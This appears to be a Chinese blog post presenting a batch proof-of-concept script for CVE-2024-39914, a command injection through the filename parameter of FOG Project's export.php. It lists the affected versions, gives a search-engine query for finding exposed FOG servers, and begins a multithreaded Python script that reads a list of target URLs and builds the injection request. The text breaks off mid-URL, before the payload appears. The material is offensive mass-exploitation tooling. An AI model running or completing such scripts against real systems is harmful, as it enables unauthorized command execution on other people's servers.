FOG Project 文件名命令注入漏洞批量POC脚本（CVE-2024-39914）

最新推荐文章于 2025-04-27 19:16:18 发布

Ma1g3

最新推荐文章于 2025-04-27 19:16:18 发布

阅读量483

点赞数 5

文章标签：安全 web安全 python

本文链接：https://blog.youkuaiyun.com/mai_ge_/article/details/140577174

版权

漏洞描述

FOG是一款克隆/成像/救援套件/库存管理系统。在版本低于1.5.10.34的情况下，FOG中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响，该漏洞存在于/fog/management/export.php的文件名filename参数中。

漏洞影响

FOGPROJECT < 1.5.10.34 版本

搜索语句

鹰图平台：web.body="FOG Project"

批量脚本

import requests
import threading


class fog_poc:
    def __init__(self, file_path):
        file_path = file_path.replace('\"', '')
        file_path = file_path.replace('\'', '')
        with open(file_path, 'r') as f:
            self.url_list = f.readlines()

    def poc(self):
        #构造poc
        url_path = '/fog/management/export.php?filen